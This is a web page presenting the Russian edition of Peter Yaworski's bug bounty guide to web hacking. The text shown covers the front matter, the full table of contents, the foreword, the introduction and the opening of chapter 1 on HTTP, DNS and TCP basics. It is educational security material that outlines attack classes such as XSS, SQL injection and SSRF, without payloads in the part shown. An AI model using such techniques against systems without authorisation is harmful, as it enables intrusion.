Ловушка для багов. Полевое руководство по веб-хакингу [Питер Яворски] (pdf) читать онлайн

-  Ловушка для багов. Полевое руководство по веб-хакингу  (и.с. Библиотека программиста) 6.99 Мб, 272с. скачать: (pdf) - (pdf+fbd)  читать: (полностью) - (постранично) - Питер Яворски

Книга в формате pdf! Изображения и текст могут не отображаться!


 [Настройки текста]  [Cбросить фильтры]

Питер Яворски

ЛОВУШКА
ДЛЯ БАГОВ
Полевое руководство
по веб-хакингу

Предисловие Майкла Принса и Йоберта Абма

ББК 32.973.23-018-07
УДК 004.56.53
Я22

Я22

Яворски Питер
Ловушка для багов. Полевое руководство по веб-хакингу. — СПб.: Питер, 2020. —
272 с.: ил. — (Серия «Библиотека программиста»).
ISBN 978-5-4461-1708-6
«Чтобы чему-то научиться, надо применять знания на практике. Именно так мы освоили ремесло
взлома» — Майкл Принс и Йоберт Абма, соучредители HackerOne. «Ловушка для багов» познакомит
вас с белым хакингом — поиском уязвимостей в системе безопасности. Неважно, являетесь ли вы
новичком в области кибербезопасности, который хочет сделать интернет безопаснее, или опытным
разработчиком, который хочет писать безопасный код, Питер Яворски покажет вам, как это делается.
В книге рассматриваются распространенные типы ошибок и реальные хакерские отчеты о таких компаниях, как Twitter, Facebook, Google, Uber и Starbucks. Из этих отчетов вы поймете принципы работы
уязвимостей и сможете сделать безопасней собственные приложения. Вы узнаете:
• как работает интернет, и изучите основные концепции веб-хакинга;
• как злоумышленники взламывают веб-сайты;
• как подделка запросов заставляет пользователей отправлять информацию на другие веб-сайты;
• как получить доступ к данным другого пользователя;
• с чего начать охоту за уязвимостями;
• как заставить веб-сайты раскрывать информацию с помощью фейковых запросов.

16+ (В соответствии с Федеральным законом от 29 декабря 2010 г. № 436-ФЗ.)
ББК 32.973.23-018-07
УДК 004.56.53
Права на издание получены по соглашению с No Starch Press. Все права защищены. Никакая часть данной книги
не может быть воспроизведена в какой бы то ни было форме без письменного разрешения владельцев авторских
прав. Информация, содержащаяся в данной книге, получена из источников, рассматриваемых издательством как
надежные. Тем не менее, имея в виду возможные человеческие или технические ошибки, издательство не может
гарантировать абсолютную точность и полноту приводимых сведений и не несет ответственности за возможные
ошибки, связанные с использованием книги. Издательство не несет ответственности за доступность материалов,
ссылки на которые вы можете найти в этой книге. На момент подготовки книги к изданию все ссылки на интернетресурсы были действующими.
ISBN 978-1593278618 англ.

© 2019 by Peter Yaworski. Real-World Bug Hunting: A Field Guide to Web Hacking
ISBN 978-1- 59327-861-8, published by No Starch Press.

ISBN 978-5-4461-1708-6

© Перевод на русский язык ООО Издательство «Питер», 2020
© Издание на русском языке, оформление ООО Издательство «Питер», 2020
© Серия «Библиотека программиста», 2020

Краткое содержание

Об авторе................................................................................................................ 15
О научном редакторе............................................................................................ 16
Предисловие .......................................................................................................... 17
Благодарности....................................................................................................... 19
Введение................................................................................................................. 20
Глава 1. Основы охоты за уязвимостями ............................................................... 26
Глава 2. Open Redirect............................................................................................ 36
Глава 3. Засорение HTTP-параметров..................................................................... 43
Глава 4. Межсайтовая подделка запросов.............................................................. 52
Глава 5. Внедрение HTML-элемента и подмена содержимого.................................. 64
Глава 6. Внедрение символов перевода строки...................................................... 74
Глава 7. Межсайтовый скриптинг........................................................................... 80
Глава 8. Внедрение шаблонов................................................................................ 99
Глава 9. Внедрение SQL....................................................................................... 111
Глава 10. Подделка серверных запросов................................................................ 126
Глава 11. Внешние XML-сущности.......................................................................... 139
Глава 12. Удаленное выполнение кода.................................................................. 151
Глава 13. Уязвимости памяти................................................................................. 162
Глава 14. Захват поддомена................................................................................... 171
Глава 15. Состояние гонки..................................................................................... 181
Глава 16. Небезопасные прямые ссылки на объекты.............................................. 190
Глава 17. Уязвимости в OAuth................................................................................ 200
Глава 18. Уязвимости в логике и конфигурации приложений................................. 211
Глава 19. Самостоятельный поиск уязвимостей .................................................... 228
Глава 20. Отчеты об уязвимостях .......................................................................... 242
Приложение А. Инструменты................................................................................ 249
Приложение Б. Дополнительный материал .......................................................... 259

Оглавление

Об авторе................................................................................................................ 15
О научном редакторе............................................................................................ 16
Предисловие........................................................................................................... 17
Благодарности....................................................................................................... 19
Введение................................................................................................................. 20
На кого рассчитана эта книга............................................................................... 21
Как читать эту книгу............................................................................................. 21
О чем эта книга.................................................................................................... 22
Замечания о хакинге............................................................................................ 24
От издательства................................................................................................... 25
Глава 1. Основы охоты за уязвимостями.................................................................. 26
Уязвимости и награды за их нахождение.............................................................. 26
Клиент и сервер................................................................................................... 27
Что происходит, когда вы заходите на веб‑сайт................................................... 28
Шаг 1. Извлечение доменного имени.............................................................. 28
Шаг 2. Получение IP-адреса............................................................................ 28
Шаг 3. Установление TCP-соединения............................................................. 29
Шаг 4. Отправка HTTP-запроса........................................................................ 30

Оглавление  7

Шаг 5. Ответ сервера...................................................................................... 31
Шаг 6. Отображение ответа............................................................................ 32
HTTP-запросы....................................................................................................... 33
Методы запроса.............................................................................................. 33
Протокол HTTP не хранит состояние............................................................... 34
Итоги.................................................................................................................... 35
Глава 2. Open Redirect.............................................................................................. 36
Как работает Open Redirect................................................................................... 37
Open Redirect на странице установки темы оформления Shopify........................... 39
Open Redirect на странице входа в Shopify............................................................ 39
Перенаправление на межсайтовой странице HackerOne....................................... 40
Итоги.................................................................................................................... 42
Глава 3. Засорение HTTP-параметров....................................................................... 43
HPP на серверной стороне.................................................................................... 43
HPP на клиентской стороне.................................................................................. 45
Кнопки социальных сетей в HackerOne................................................................. 46
Уведомления об отписке в Twitter......................................................................... 47
Web Intents в Twitter............................................................................................. 49
Итоги.................................................................................................................... 51
Глава 4. Межсайтовая подделка запросов................................................................ 52
Аутентификация................................................................................................... 53
CSRF в GET-запросах............................................................................................ 54
CSRF в POST-запросах.......................................................................................... 55
Защита от атак CSRF............................................................................................ 57
Отключение Twitter от Shopify.............................................................................. 58

8   Оглавление

Изменение пользовательских зон в Instacart........................................................ 59
Полный захват учетной записи Badoo................................................................... 61
Итоги.................................................................................................................... 63
Глава 5. Внедрение HTML-элемента и подмена содержимого.................................... 64
Внедрение комментариев в Coinbase путем кодирования символов...................... 65
Непредвиденное внедрение HTML в HackerOne.................................................... 67
Обход исправления непредвиденного внедрения HTML в HackerOne.................... 70
Подмена содержимого в Within Security................................................................ 71
Итоги.................................................................................................................... 73
Глава 6. Внедрение символов перевода строки........................................................ 74
Передача скрытого HTTP-запроса......................................................................... 74
Разделение ответа в v.shopify.com........................................................................ 75
Разделение HTTP-ответа в Twitter......................................................................... 77
Итоги.................................................................................................................... 79
Глава 7. Межсайтовый скриптинг............................................................................. 80
Виды XSS.............................................................................................................. 84
Shopify Wholesale.................................................................................................. 87
Форматирование валюты в Shopify....................................................................... 88
Хранимая уязвимость XSS в Yahoo! Mail................................................................ 90
Поиск по картинкам Google.................................................................................. 92
Хранимая уязвимость XSS в Google Tag Manager................................................... 93
XSS в United Airlines.............................................................................................. 94
Итоги.................................................................................................................... 98

Оглавление  9

Глава 8. Внедрение шаблонов.................................................................................. 99
Внедрение шаблонов на стороне сервера............................................................. 99
Внедрение шаблонов на стороне клиента........................................................... 100
Внедрение шаблона AngularJS на сайте Uber...................................................... 101
Внедрение шаблонов Flask Jinja2 на сайте Uber.................................................. 102
Динамический генератор в Rails......................................................................... 105
Внедрение шаблонов Smarty на сайте Unikrn...................................................... 106
Итоги.................................................................................................................. 110
Глава 9. Внедрение SQL......................................................................................... 111
Реляционные базы данных................................................................................. 111
Контрмеры в отношении SQLi............................................................................. 113
Слепая атака SQLi на сайт Yahoo! Sports............................................................. 114
Слепая уязвимость SQLi на сайте Uber................................................................ 118
Уязвимость SQLi в Drupal.................................................................................... 121
Итоги.................................................................................................................. 125
Глава 10. Подделка серверных запросов................................................................ 126
Демонстрация последствий подделки серверных запросов................................. 126
Сравнение GET- и POST-запросов....................................................................... 127
Выполнение слепых атак SSRF........................................................................... 128
Атака на пользователей с помощью ответов SSRF.............................................. 129
Уязвимость SSRF на сайте ESEA и извлечение метаданных из AWS..................... 129
Уязвимость SSRF на сайте Google с применением внутреннего DNS-запроса....... 132
Сканирование внутренних портов с помощью веб-хуков..................................... 136
Итоги.................................................................................................................. 138

10   Оглавление

Глава 11. Внешние XML-сущности.......................................................................... 139
Расширяемый язык разметки.............................................................................. 139
Определение типа документа........................................................................ 140
XML-сущности................................................................................................ 142
Как работает атака XXE...................................................................................... 143
Чтение внутренних файлов Google..................................................................... 144
ХХЕ в Facebook с применением Microsoft Word.................................................... 145
XXE в Wikiloc....................................................................................................... 148
Итоги.................................................................................................................. 150
Глава 12. Удаленное выполнение кода.................................................................. 151
Выполнение команд оболочки............................................................................ 151
Выполнение функций......................................................................................... 153
Стратегии обострения удаленного выполнения кода.......................................... 154
Уязвимость в ImageMagick на сайте Polyvore...................................................... 155
Уязвимость RCE на сайте facebooksearch.algolia.com........................................... 158
Атака RCE через SSH.......................................................................................... 160
Итоги.................................................................................................................. 161
Глава 13. Уязвимости памяти................................................................................. 162
Переполнение буфера........................................................................................ 163
Чтение вне допустимого диапазона.................................................................... 166
Целочисленное переполнение в PHP‑­функ­ции ftp_genlist()................................. 167
Модуль Python hotshot........................................................................................ 168
Чтение вне допустимого диапазона в libcurl........................................................ 169
Итоги.................................................................................................................. 170

Оглавление   11

Глава 14. Захват поддомена................................................................................... 171
Доменные имена................................................................................................ 171
Как происходит захват поддомена...................................................................... 172
Захват поддомена Ubiquiti.................................................................................. 173
Поддомен Scan.me, ссылающийся на Zendesk..................................................... 174
Захват поддомена windsor на сайте Shopify........................................................ 175
Захват поддомена fastly на сайте Snapchat......................................................... 176
Захват поддомена на сайте Legal Robot.............................................................. 177
Захват поддомена с почтовым сервисом SendGrid на сайте Uber......................... 178
Итоги.................................................................................................................. 180
Глава 15. Состояние гонки..................................................................................... 181
Многократное получение приглашения на HackerOne......................................... 182
Превышение лимита на приглашения на сайт Keybase....................................... 184
Состояние гонки в механизме выплат на сайте HackerOne.................................. 185
Состояние гонки на платформе Shopify Partners................................................. 187
Итоги.................................................................................................................. 189
Глава 16. Небезопасные прямые ссылки на объекты.............................................. 190
Поиск простых уязвимостей IDOR....................................................................... 190
Поиск более сложных уязвимостей IDOR............................................................ 191
Повышение привилегий на сайте Binary.com....................................................... 192
Создание приложений на сайте Moneybird.......................................................... 193
Похищение токена для API-интерфейса Twitter Mopub........................................ 195
Раскрытие клиентской информации.................................................................... 197
Итоги.................................................................................................................. 199

12   Оглавление

Глава 17. Уязвимости в OAuth................................................................................ 200
Принцип работы OAuth....................................................................................... 201
Похищение OAuth-токенов на сайте Slack........................................................... 204
Прохождение аутентификации с паролем по умолчанию.................................... 205
Похищение токенов для входа на сайт Microsoft................................................. 206
Похищение официальных токенов доступа на сайте Facebook............................ 209
Итоги.................................................................................................................. 210
Глава 18. Уязвимости в логике и конфигурации приложений................................. 211
Получение администраторских привилегий на сайте Shopify.............................. 213
Обход защиты учетных записей на сайте Twitter................................................. 214
Манипуляция репутацией пользователей на сайте HackerOne............................ 215
Некорректные права доступа к бакету S3 на сайте HackerOne............................ 216
Обход двухфакторной аутентификации на сайте GitLab...................................... 219
Раскрытие страницы PHP Info на сайте Yahoo!.................................................... 220
Голосование на странице HackerOne Hacktivity................................................... 222
Доступ к Memcache на сайте PornHub................................................................. 224
Итоги.................................................................................................................. 227
Глава 19. Самостоятельный поиск уязвимостей...................................................... 228
Предварительное исследование......................................................................... 229
Составление списка поддоменов................................................................... 229
Сканирование портов.................................................................................... 230
Создание снимков экрана.............................................................................. 231
Обнаружение содержимого........................................................................... 232
Ранее обнаруженные уязвимости.................................................................. 234
Тестирование приложений................................................................................. 234

Оглавление  13

Стек технологий............................................................................................ 235
Определение возможностей приложения...................................................... 236
Обнаружение уязвимостей............................................................................ 237
Дальнейшие действия........................................................................................ 239
Автоматизация работы.................................................................................. 239
Анализ мобильных приложений.................................................................... 239
Определение новых возможностей................................................................ 240
Отслеживание файлов JavaScript................................................................... 240
Платный доступ к новым возможностям........................................................ 240
Изучение технологий.................................................................................... 241
Итоги.................................................................................................................. 241
Глава 20. Отчеты об уязвимостях........................................................................... 242
Прочитайте условия программы......................................................................... 242
Чем больше подробностей, тем лучше................................................................ 243
Перепроверьте уязвимость................................................................................. 243
Ваша репутация................................................................................................. 244
Относитесь к компании с уважением.................................................................. 245
Подача апелляции в программах Bug Bounty...................................................... 247
Итоги.................................................................................................................. 248
Дополнение А. Инструменты................................................................................. 249
Веб-прокси......................................................................................................... 249
Поиск поддоменов.............................................................................................. 251
Исследование содержимого................................................................................ 252
Создание снимков экрана................................................................................... 252
Сканирование портов......................................................................................... 253

14   Оглавление

Предварительное исследование......................................................................... 254
Инструменты для хакинга................................................................................... 255
Взлом мобильных устройств............................................................................... 257
Расширения для браузера.................................................................................. 257
Дополнение Б. Дополнительный материал............................................................ 259
Онлайн-курсы..................................................................................................... 259
Платформы Bug Bounty....................................................................................... 261
Список рекомендованных источников................................................................. 262
Видеоматериалы................................................................................................ 264
Рекомендуемые блоги......................................................................................... 265

Об авторе

Питер Яворски стал хакером, самостоятельно изучая опыт предшественников
(некоторые из них упоминаются в книге). Ныне это успешный охотник за
уязвимостями, на счету которого благодарности от Salesforce, Twitter, Airbnb,
Verizon Media, Министерства обороны США и др., сейчас он является инженером по безопасности приложений в Shopify.

О научном редакторе

Цан Чи Хонг, известный под псевдонимом FileDescriptor, — пентестер и охотник за уязвимостями. Проживает в Гонконге, пишет статьи о веб-безопасности
на сайте blog.innerht.ml, интересуется саундтреками и криптовалютой.

Предисловие

Чтобы чему-то научиться, надо применять знания на практике. Именно так
мы освоили ремесло взлома.
Как и у всех в этом деле, нашей главной мотивацией было любопытство. Мы
обожали компьютерные игры, и к 12 годам захотели создавать собственные
программы. Освоить программирование на Visual Basic и PHP нам помогли
книжки из библиотеки.
Имея некоторое представление о разработке ПО, мы начали находить ошибки
разработчиков. И перешли от созидания к разрушению. Чтобы отпраздновать
окончание средней школы, мы перехватили управление каналом телевещания
и прокрутили ролик с поздравлением нашего класса. Это казалось забавным,
пока мы не узнали о последствиях подобных действий — такой хакинг не поощрялся. Мы были наказаны и провели все лето за мытьем окон. В колледже
нас занимал доходный консалтинговый бизнес, который обслуживал государственных и частных клиентов во всем мире. А кульминацией нашего опыта
стала компания HackerOne, которую мы основали в 2012 году. Мы хотели,
чтобы любая организация могла сотрудничать с хакерами, и это остается
нашей миссией по сей день.
Если вы это читаете, вам присуще любопытство хакера. Эта книга станет для
вас отличным путеводителем. Она полна показательных примеров нахождения уязвимостей.
Чрезвычайно важна и ее направленность на этичный хакинг. Умение взламывать дает человеку рачаги влияния, которые, как мы надеемся, будут
использованы во благо. Успешные хакеры умеют балансировать на тонкой
грани между добром и злом. Разрушать могут многие, и на этом даже можно
подзаработать. Но сделать интернет безопаснее, сотрудничать с крупными

18   Предисловие

компаниями и получать серьезные вознаграждения смогут не все. Надеемся,
что вы направите ваш талант на безопасность людей и их данных.
Мы бесконечно благодарны Питу за то, что он задокументировал множество
примеров и сделал это настолько выразительно. Жаль, что в начале нашего
пути не было такого материала. Эту книгу приятно читать, и в ней есть вся
информация, необходимая для начинающего хакера.
Приятного чтения и хакинга!
Будьте ответственным хакером.
Майкл Принс и Йоберт Абма,
соучредители HackerOne

Благодарности

Эта книга стала возможной благодаря сообществу HackerOne. Я хочу поблагодарить генерального директора HackerOne Мартена Микоса, который связался
со мной в самом начале пути и неустанно делился своими впечатлениями
и идеями, помогая сделать книгу лучше. Он даже заплатил за профессиональный дизайн обложки, когда изданием занимался я сам.
Также хочу выразить признательность соучредителям HackerOne Михелю
Принсу и Джоберту Абме, которые поучаствовали в написании некоторых глав,
когда я работал над ранними версиями книги. Джоберт выполнил редактуру
каждой главы, предоставив технический анализ. Его правки укрепили мою
уверенность и многому меня научили.
Не могу не упомянуть Адама Бакуса, который прочитал эту книгу через пять
дней после начала своей работы в HackerOne. Он предложил свои правки и объяснил, что чувствует человек, получающий отчеты об уязвимостях. Компания
HackerOne с большим вниманием отнеслась к созданию книги, направленной
на поддержку сообщества хакеров.
Хочу поблагодарить отдельно Бена Садегипура, Патрика Ференбаха, Франса
Розена, Филиппа Хэрвуда, Джейсона Хэддикса, Арне Свиннена, FileDescriptor
и других опытных хакеров, поделившихся своими знаниями.
Эта книга не появилась бы на свет, если бы хакеры не обменивались информацией и не раскрывали обнаруженные ими уязвимости. Спасибо вам всем.
И, наконец, именно благодаря любви и поддержке жены и двух дочерей я стал
успешным хакером и сумел собрать этот материал. А также большое спасибо
остальным членам моей семьи, особенно моим родителям, которые вместо приставки Nintendo дарили мне компьютеры, приговаривая, что за ними будущее.

Введение

Эта книга познакомит вас с этичным хакингом — поиском уязвимостей безопасности для уведомления владельца приложения о находках, заслуживающих
внимания. Меня всегда интересовали не только сами уязвимости, но и то, как
они были найдены.
Я не мог ответить на вопросы:
‚‚ Какие уязвимости хакеры находят в приложениях?
‚‚ Откуда хакеры узнают об этих уязвимостях?
‚‚ С чего начинается проникновение на сайт?
‚‚ Как выглядит процесс взлома? Как он выполняется: автоматически или
вручную?
‚‚ Каким образом я могу начать заниматься хакингом?
В конце концов я остановился на платформе для поиска уязвимостей за вознаграждение HackerOne — связующем звене между этичными хакерами и компаниями, заинтересованными в них. Возможности, заложенные в HackerOne,
позволяют хакерам и компаниям раскрывать найденные и исправленные
ошибки.
Но мне приходилось перечитывать раскрытые отчеты по два-три раза, чтобы
в них разобраться. Так и возникла идея доступного описания реальных уязвимостей для новичков.
«Ловушка для багов» — это заслуживающий доверия справочник, который
поможет понять разного рода веб-уязвимости, найти программные ошибки,
сообщить о них, получить вознаграждение и написать защитный код. Но эта
книга охватывает не только успешные примеры: в ней вы найдете ошибки
и извлеченные уроки, многие из которых взяты из моего личного опыта.

Как читать эту книгу  21

Чтение этой книги — первый шаг к безопасному интернету и дополнительному доходу.

На кого рассчитана эта книга
Книга написана для начинающих хакеров. Ими могут быть веб-разработчики,
веб-дизайнеры, родители в декрете, школьники, пенсионеры и др.
Конечно, опыт программирования и общее представление о веб-технологиях
пригодятся, но не будут обязательным условием для хакинга.
Навыки программирования могут облегчить поиск уязвимостей, связанных
с программной логикой. Если вы сможете поставить себя на место программиста или прочитать его код (если таковой доступен), ваши шансы на успех
будут выше.
Издательство No Starch Press предлагает много книг по программированию.
Также существуют бесплатные обучающие курсы на Udacity и Coursera. Дополнительные ресурсы перечислены в Приложении Б.

Как читать эту книгу
Каждая глава описывает определенный тип уязвимостей и имеет следующую
структуру:
1. Описание типа уязвимости.
2. Примеры уязвимости этого типа.
3. Краткий обзор с выводами.
Каждый пример уязвимости содержит пояснения:
‚‚ Моя оценка сложности поиска и подтверждения уязвимости.
‚‚ URL-адрес места обнаружения уязвимости.
‚‚ Ссылка на исходный отчет о раскрытии или статью.
‚‚ Дата подачи отчета об уязвимости.

22   Введение

‚‚ Сумма, полученная за предоставление информации об уязвимости.
‚‚ Четкое описание уязвимости.
‚‚ Выводы.
Главы необязательно читать по порядку. Если вас интересуют отдельные
темы, можете начать с них. В некоторых случаях я ссылаюсь на концепции,
описанные в предыдущих главах, но при этом стараюсь указывать, где находится определение соответствующего понятия. Держите эту книгу открытой
во время занятия хакингом.

О чем эта книга
Ниже дается краткое описание содержания каждой главы:
Глава 1. Основы охоты за уязвимостями. Вы узнаете, что такое уязвимости
и награды за их обнаружение и в чем разница между клиентами и серверами.
Также мы рассмотрим работу интернета: HTTP-запросы, ответы и методы
и отсутствие состояния в протоколе HTTP.
Глава 2. Open Redirect. Мы опишем атаку, при которой доверенный домен
перенаправляет пользователей на адрес злоумышленника.
Глава 3. Засорение HTTP-параметров. Мы рассмотрим внедрение в HTTPза­прос дополнительных параметров.
Глава 4. Межсайтовая подделка запросов. Вы узнаете, как с помощью вредоносного веб-сайта заставить браузер послать другому сайту HTTP-запрос,
который будет принят.
Глава 5. Внедрение HTML и подмена содержимого. Мы объясним, как
злоумышленники внедряют собственные HTML-элементы в веб-страницы
атакуемого сайта.
Глава 6. Внедрение символов переноса строки. Вы научитесь внедрять закодированные символы в HTTP-сообщения, чтобы повлиять на их интерпретацию
сервером, прокси и браузером.

О чем эта книга  23

Глава 7. Межсайтовый скриптинг. Мы объясним, как злоумышленники
запускают собственный JavaScript-код на сайте, не фильтрующем пользовательский ввод.
Глава 8. Внедрение шаблонов. Вы научитесь использовать движки шаблонизации на сайте, который не фильтрует пользовательский ввод. Эта глава
содержит клиентские и серверные примеры.
Глава 9. Внедрение SQL. Мы опишем, как злоумышленник запрашивает
информацию у базы данных или атакует ее.
Глава 10. Подделка серверных запросов. Мы объясним, каким образом
злоумышленник может заставить серверную платформу выполнять непреднамеренные сетевые запросы.
Глава 11. Внешние XML-сущности. Мы покажем, как пользоваться ошибками, которые допускает приложение в ходе анализа XML-ввода и обработки
включения в этот ввод внешних сущностей.
Глава 12. Удаленное выполнение кода. Мы рассмотрим примеры эксплуатации
злоумышленниками серверов и приложений для выполнения собственного кода.
Глава 13. Уязвимости памяти. Вы узнаете, как использовать механизм управления памятью приложения, чтобы спровоцировать непреднамеренное поведение, в том числе выполнение команд.
Глава 14. Захват поддомена. Мы покажем, как злоумышленник может управлять поддоменом от имени реального родительского домена.
Глава 15. Состояние гонки. Вы научитесь пользоваться ситуациями, в которых процессы сайта выполняют работу с учетом исходных условий, которые
во время выполнения становятся недействительными.
Глава 16. Небезопасные прямые ссылки на объекты. Вы научитесь получать
несанкционированный доступ к ссылке на объект, такой как файл, запись базы
данных или учетная запись.
Глава 17. Уязвимости в OAuth. Мы опишем ошибки в реализации протокола,
призванного упростить и стандартизировать безопасную авторизацию в веб,
на мобильных устройствах и в настольных приложениях.

24   Введение

Глава 18. Уязвимости в логике и конфигурации приложений. Вы научитесь
пользоваться ошибкой в программной логике или конфигурации приложения,
чтобы заставить сайт выполнять действия.
Глава 19. Самостоятельный поиск уязвимостей. Мы опишем, где и как искать
уязвимости, с учетом опыта и методологии. Эта глава не является пошаговой
инструкцией для взлома сайтов.
Глава 20. Отчеты об уязвимостях. Мы расскажем, как писать информативные
и заслуживающие доверия отчеты об уязвимостях, чтобы найденные вами
ошибки не были проигнорированы.
Приложение А. Инструменты. Мы перечислим инструменты, предназначенные для хакинга, в том числе для проксирования веб-трафика, составления
перечня поддоменов, создания снимков экрана и т. д.
Приложение Б. Дополнительный материал. Мы перечислим дополнительные ресурсы для расширения ваших хакерских познаний (онлайн-обучение,
платформы для охоты за уязвимостями, блоги и т. д.)

Замечания о хакинге
Если почитать о публичном раскрытии уязвимостей и о том, сколько денег
получают хакеры, может сложиться впечатление, что это простой и короткий
путь к богатству. Но это не так. Хакинг может быть прибыльным, но мало кто
пишет о неудачах в этом деле (я написал).
Возможно, успех придет к вам быстро. Но пока уязвимость не найдена, продолжайте копать. Разработчики безустанно пишут новый код, и ошибки неизбежно
попадают в приложения. С каждой новой попыткой хакинг становится проще.
На этой ноте позвольте завершить введение. О своих успехах можете писать
мне в Twitter: @yaworsk. Пишите, даже если что-то не получается, не держите
в себе. А потом вместе отпразднуем победу, и, возможно, вашу находку я смогу
добавить в следующее издание этой книги.
Удачи и веселого хакинга!

От издательства  25

От издательства
Ваши замечания, предложения, вопросы отправляйте по адресу comp@piter.com
(издательство «Питер», компьютерная редакция).
Мы будем рады узнать ваше мнение!
На веб-сайте издательства www.piter.com вы найдете подробную информацию
о наших книгах.

1

Основы охоты
за уязвимостями

Начнем с обсуждения, как работает интернет и что происходит, когда вы вводите URL в адресную строку браузера. Открытие веб-сайта выглядит просто,
но оно включает в себя множество скрытых процессов, таких как подготовка
HTTP-запроса, идентификация домена, к которому нужно обратиться, перевод
доменного имени в IP-адрес, отправка запроса, вывод ответа и т. д.
В этой главе рассмотрены основные понятия и термины, такие как уязвимость,
награда за нахождение ошибок, клиент, сервер, IP-адрес и HTTP. Вы узнаете,
как выполнение несанкционированных действий и предоставление доступа
к закрытой информации может привести к уязвимостям. Мы детально разберем ввод URL в адресную строку браузера, HTTP-запрос и ответ на него,
а также методы, которые поддерживает HTTP. В конце главы мы поговорим
о том, что подразумевает отсутствие состояния в протоколе HTTP.

Уязвимости и награды за их нахождение
Уязвимость (vulnerability) — это слабое место в приложении, с помощью
которого злоумышленник может выполнять действия или получить несанкционированный доступ к информации.

Клиент и сервер  27

Уязвимости могут возникать в результате выполнения как стандартных, так
и непредвиденных действий, таких как изменение идентификатора записи
для доступа к закрытой информации.
Представьте веб-сайт, который позволяет создать профиль с личными данными, доступными только вашим друзьям. Добавление вас в «друзья» без вашего
разрешения будет уязвимостью. В ходе проверки сайта ставьте себя на место
злоумышленника.
Bug Bounty — это система вознаграждения, которое владелец веб-сайта или
другая компания выплачивает человеку, сообщившему о реальной уязвимости
с соблюдением этики. Их материальное выражение находится в диапазоне от
десяти до десятков тысяч долларов либо представляет собой криптовалюту,
авиабилеты, бонусные очки, скидки и т. д.
Компания, предлагающая вознаграждение, обычно создает специальную программу — набор правил и ограничений для поиска уязвимостей на ее сайте.
Она отличается от программы раскрытия уязвимостей (vulnerability disclosure
program, или VDP) — механизма этичного сообщения об уязвимости, который
не предусматривает оплаты. И хотя не все находки, описанные в этой книге,
привели к награде, каждая из них — это пример участия хакера в программах
Bug Bounty.

Клиент и сервер
Ваш браузер работает с интернетом — сетью компьютеров, которые обмениваются сообщениями — пакетами. Пакеты содержат данные и сведения о том,
куда и откуда эти данные передаются. Каждый компьютер в сети имеет адрес.
Но некоторые компьютеры имеют доступ только к пакетам определенного типа
и / или адресам из ограниченного списка. Принимающая сторона сама решает,
что делать с пакетами и как на них отвечать. В этой книге мы сосредоточимcя
на данных, а именно на HTTP-сообщениях.
Инициатора запроса — компьютер с браузером, командной строкой или др. —
называют клиентом. Веб-сайты и веб-приложения, которые получают запросы,
называются серверами. Если какая-то концепция применима и к клиентам
и к серверам, я буду использовать общий термин «компьютер».

28   Глава 1. Основы охоты за уязвимостями

Количество компьютеров, которые общаются между собой через интернет, не
ограниченно, поэтому их взаимодействие требует стандартизации. Документы
RFC (Request for Comments — рабочие предложения) включают, например,
протокол передачи гипертекста (Hypertext Transfer Protocol или HTTP), который определяет правила взаимодействия веб-браузера с удаленным сервером
с помощью интернет-протокола (Internet Protocol, или IP). Клиент и сервер
должны реализовывать один стандарт, чтобы правильно интерпретировать
отправляемые и получаемые пакеты.

Что происходит, когда вы заходите
на веб‑сайт
В этой книге основное внимание уделяется HTTP-сообщениям, поэтому
важно в общих чертах описать процесс, который происходит при вводе URL
в адресную строку браузера.

Шаг 1. Извлечение доменного имени
После получения URL-адреса http://www.google.com/ браузер вычленяет из него
доменное имя — идентификатор веб-сайта, который вы хотите открыть. По документам RFC оно может содержать только алфавитно-цифровые символы,
дефисы и подчеркивания. Исключения составляют интернационализованные
доменные имена (RFC 3490). В данном случае мы имеем домен www.google.com.
С его помощью можно найти адрес сервера.

Шаг 2. Получение IP-адреса
Определив доменное имя, ваш браузер использует DNS (domain name system —
cистема доменных имен) для получения IP-адреса, связанного с ним. Этот
процесс называется разрешением IP-адреса.
Адреса бывают двух видов: IPv4 (версия 4) и IPv6 (версия 6). В IPv4 они состоят из четырех чисел, разделенных точками, каждое из которых находится
в диапазоне от 0 до 255. IPv6 разработана из-за нехватки возможностей IPv4

Что происходит, когда вы заходите на веб‑сайт  29

и включает адреса из восьми групп по четыре шестнадцатеричных цифры,
разделенных двоеточиями. IPv6 поддерживает сокращенную запись. Например, IPv4-адрес 8.8.8.8 можно представить в IPv6 как 2001:4860:4860::8888.
Чтобы найти IP-адрес по доменному имени, компьютер отправляет запрос
серверам DNS — специальным компьютерам, подключенным к интернету,
которые содержат реестр всех доменов и соответствующих им IP-адресов.
Приведенные выше адреса IPv4 и IPv6 принадлежат DNS-серверам Google.
В данном примере DNS-сервер, к которому вы подключаетесь, сопоставляет
www.google.com с IPv4-адресом 216.58.201.228 и возвращает полученный ре-

зультат вашему компьютеру. Чтобы узнать больше об IP-адресе сайта, введите
в терминале команду dig A site.com, подставив вместо site.com сайт, который
вас интересует.

Шаг 3. Установление TCP-соединения
Далее компьютер использует протокол управления передачей (Transmission
Control Protocol, или TCP), чтобы установить соединение с IP-адресом на
порту 80, так как в начале имени сайта указано http://. Не будем останавливаться на принципе работы TCP, но отметим, что этот протокол обеспечивает
двунаправленное взаимодействие компьютеров, при котором адресат может
проверить полученную информацию и убедиться в ее целостности.
Сервер, к которому вы обращаетесь, может предоставлять сразу несколько
сервисов (считайте их компьютерными программами) и использует порты,
чтобы определить, какой из процессов должен получать запросы. Порты — это
своеобразные двери, соединяющие сервер с интернетом. Без них сервисам
пришлось бы конкурировать за информацию, отправленную в одно и то же
место. Стандартный порт для отправки и получения незашифрованных HTTPзапросов имеет номер 80. Еще один распространенный порт, 443, используется
для зашифрованных HTTPS-запросов. Несмотря на это, взаимодействие по
TCP может осуществляться на любом порту в зависимости от того, как администратор сконфигурировал приложение.
Вы можете самостоятельно установить TCP-соединение с веб-сайтом на порту 80, открыв терминал и выполнив команду nc 80. В этой строке

30   Глава 1. Основы охоты за уязвимостями

для создания сетевого соединения с возможностью чтения и записи сообщений
используется утилита Netcat (nc).

Шаг 4. Отправка HTTP-запроса
Вернемся к примеру с http://www.google.com/. После установки соединения
в шаге 3 браузер готовит и отправляет HTTP-запрос, показанный в листинге 1.1:
Листинг 1.1. Отправка HTTP-запроса
 GET / HTTP/1.1
 Host: www.google.com
 Connection: keep-alive
 Accept: application/html, */*
 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/72.0.3626.109 Safari/537.36

В поисках корневой страницы браузер выполняет GET-запрос . Содержимое
веб-сайта делится на пути, подобные папкам и файлам. По мере продвижения
по иерархии к имени корневой страницы прибавляются имена новых «папок»,
